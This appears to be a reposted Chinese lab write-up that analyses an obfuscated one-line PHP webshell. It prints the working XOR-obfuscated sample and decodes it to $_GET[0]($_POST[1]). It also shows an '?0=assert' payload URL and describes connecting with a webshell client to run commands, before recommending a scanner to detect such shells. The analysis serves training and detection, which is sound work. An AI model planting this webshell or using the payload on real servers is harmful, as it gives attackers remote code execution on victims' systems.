WebShell代碼分析溯源(四)


WebShell代碼分析溯源(四)

一、一句話變形馬樣本

<?php @$_++;$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");${$__}[!$_](${$___}[$_]); ?>

二、代碼分析

1、調整代碼格式

  

 

2、分析代碼

“^”為異或運算符,在PHP中,兩個變量進行異或時,會將字符串轉換成二進制再進行異或運算,異或運算完,又將結果從二進制轉換成了字符串。

$_++,這行代碼的意思是對變量名為”_”的變量進行自增操作,在PHP中未定義的變量默認值為null,null==false==0,可以在不使用任何數字的情況下,通過對未定義變量的自增操作來得到一個數字。

2.1手動進行異或運算,依次類推得到$___=_POST

  

2.2$_++在自增之后,$_就變成了1,因此,!$_也就為0,綜上分析,${$__}[!$_](${$___}[$_]);也就變成了$_GET[0]($_POST[1]);,此時一句話木馬為<?php $_GET[0]($_POST[1]); ?>

2.3構造payload: http://www.test.com/test.php?0=assert,因此一句話木馬就變成為<?php  assert($_POST[1]); ?>,然后使用菜刀連接,密碼為1

2.4遠程代碼執行,執行一些命令

   

 

   

3、通過調試代碼進行分析webshell,搭建php環境(這里使用phpstudy)

  

4、調試輸出結果如下

  

三、漏洞環境搭建

1、這里使用在線學習平台墨者學院中的實驗環境(PHP代碼分析溯源(第1題)),地址: https://www.mozhe.cn/bug/detail/UW5xcFhsWE05akxJYjB1TzEyM2p3UT09bW96aGUmozhe

2、代碼環境,下載代碼

  

3、分析(上面已經分析過了)

4、使用菜刀連接

  

四、后記

學習常用webshell掃描檢測查殺工具---WEBDIR+(百度WebShell掃描檢測引擎),網址: https://scanner.baidu.com/#/pages/intro

使用WEBDIR+進行webshell查殺

  

 

   

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM